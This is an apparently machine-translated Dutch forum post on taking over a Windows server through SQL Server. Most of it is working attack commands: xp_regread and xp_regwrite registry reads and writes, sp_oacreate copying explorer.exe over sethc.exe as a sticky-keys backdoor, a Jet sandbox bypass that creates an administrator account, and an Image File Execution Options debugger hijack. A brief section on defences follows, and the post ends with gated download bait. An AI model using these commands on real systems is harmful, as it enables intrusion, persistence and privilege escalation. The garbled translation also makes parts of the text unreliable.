Aanroepen 'CreateProcess' mislukte met foutcode: '5'. Fout 5 is een foutnummer dat door het systeem wordt aangegeven, CreateProcess is de betekenis van het aanmaken van een thread; deze foutgeneratie heeft veel te maken met de cmd.exe van systeembestanden, de ene is dat cmd wordt verwijderd, de andere is dat de toestemming van cmd wordt verminderd. SQL om terminalpoorten en open status te controleren: Uitvoerend meester.. xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' Oké, het belangrijkste punt hieronder is om twee SQL-instructies te gebruiken om het explorer-bestand van het systeem te kopiëren naar het shift-backdoorbestand van het systeem, en de volgende twee statements worden apart uitgevoerd. Deze verklaring kopieert explorer.exe als sethc.exe verklaar @o int exec sp_oacreate 'scripremove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe'; Deze instructie kopieert sethc.exe naar de dllcache-directory Declare @oo int exec sp_oacreate 'scrip remove ting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile', null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\ sethc.exe'; De andere twee statements gebruiken sp_oacreate opgeslagen procedures die odsole70.dll bestand moeten gebruiken, dus het voortbestaan van dit bestand hangt samen met het succes van het aanmaken. (2), xpsql.cpp: Fout 5 van CreateProcess (regel 737) Deze situatie is lastiger, en dat wordt ook op internet gezegd EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 Selecteer * uit OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','selecteer shell("net user 123 123 /add")'); Selecteer * uit OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")'); Ik heb de sandbox gecontroleerd om de rechten van deze zaak te bespreken, maar door mijn praktijk is dit slagingspercentage erg laag, omdat de meeste servers c:\windows\system32\ias ias.mdb\ hebben verwijderd. Daarna kun je image hijacking proberen als een ETHC, natuurlijk is image hijacking ook voorwaardelijk, 1 om te bestaan xp_regwrite deze opgeslagen procedure 2 is 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',' Debugger' wordt niet verwijderd Je kunt eerst opvragen of de sticky key van het register is gekaapt Uitvoerend meester.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger' Als de prompt het probleem niet vindt, wordt het bewijs verwijderd; er is geen manier, als het wordt gevraagd sethc.exe het SQL-commando uit te voeren UITVOEREND MEESTER.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe' Na vijf keer verbinding te hebben gemaakt met de terminal en te hebben verschoven, gaat het direct naar het bureaublad en voegt het vervolgens handmatig toe.
Het register wijzigt de terminalpoort
[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ Wds \ rdpwd \ Tds \ tcp]
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,
Wat betreft het voorkomen van beeldkaping, wordt dit voornamelijk bereikt via de volgende methoden:
★ Wet op Toestemmingsbeperking
Als de gebruiker geen toegang meer heeft tot de registersleutel, kan deze niet worden gewijzigd. Open de Registry Editor en ga naar HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options, selecteer dit item, klik met de rechtermuisknop - > permissies - > geavanceerd, en verlaag de rechten van beheerders en systeemgebruikers (hier hoef je alleen de schrijfoperatie te annuleren).
★ Snelle mess snijden van rommelige hennepmethode
Open de registereditor en ga naar de balk
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Uitvoeringsopties
Het probleem kan worden opgelost door direct het item Image File Execution Options te verwijderen.
SQL Command Hijacks Registry Sticky Key Installation Backdoor xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger','REG_SZ','C:\WINDOWS\system32\kdsn.exe'
Software downloaden:Toeristen, als jullie de verborgen inhoud van dit bericht willen zien, alsjeblieft Antwoord
|